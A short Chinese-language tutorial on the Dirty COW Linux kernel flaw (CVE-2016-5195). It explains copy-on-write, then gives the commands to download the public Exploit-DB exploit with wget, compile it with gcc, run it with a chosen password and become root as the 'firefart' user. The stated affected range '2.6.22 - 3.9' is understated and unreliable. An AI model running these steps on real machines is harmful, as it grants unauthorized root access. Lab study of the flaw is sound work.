Dirty COW(又稱為CVE-2016-5195)是一個嚴重的漏洞,影響了Linux操作系統的核心部分,具體來說,是與Linux内核中的Copy-On-Write(COW)功能有關的漏洞。這個漏洞的名稱“Dirty COW”是它的縮寫,代表“Dirty Copy-On-Write”。
Copy-On-Write是一種內存管理技術,它使多個進程可以共享相同的物理內存頁面,直到其中一個進程試圖對該頁面進行寫操作。當發生寫操作時,操作系統會將該內存頁面複製給要寫入的進程,以確保進程之間的內存不互相干擾。Dirty COW漏洞允許攻擊者在特定情況下修改共享內存頁面的內容,這可能導致嚴重的安全風險。
漏洞存在的範圍是在 kernel 2.6.22 - 3.9。
利用 dirty cow 的弱點的攻擊 code
https://www.exploit-db.com/exploits/40839
將攻擊 code 下載下來wget https://www.exploit-db.com/download/40839
下載到靶機端,並編譯攻擊 code。gcc -pthread 40839.c -o dirty -lcrypt
-pthread
:這是gcc的一個選項,用於編譯多線程程序。-o dirty
:生成可執行檔案的名稱,這裡命名為 "dirty"。-lcrypt
:這個選項指示gcc連接(link)到"crypt"庫,以使程序能夠使用該庫中的加密函數。
執行dirty cow,並設定想要改掉的密碼。./dirty g0tmi1k
su firefart
//密碼是 g0tmi1kid
//可看到成功取得 root 權限了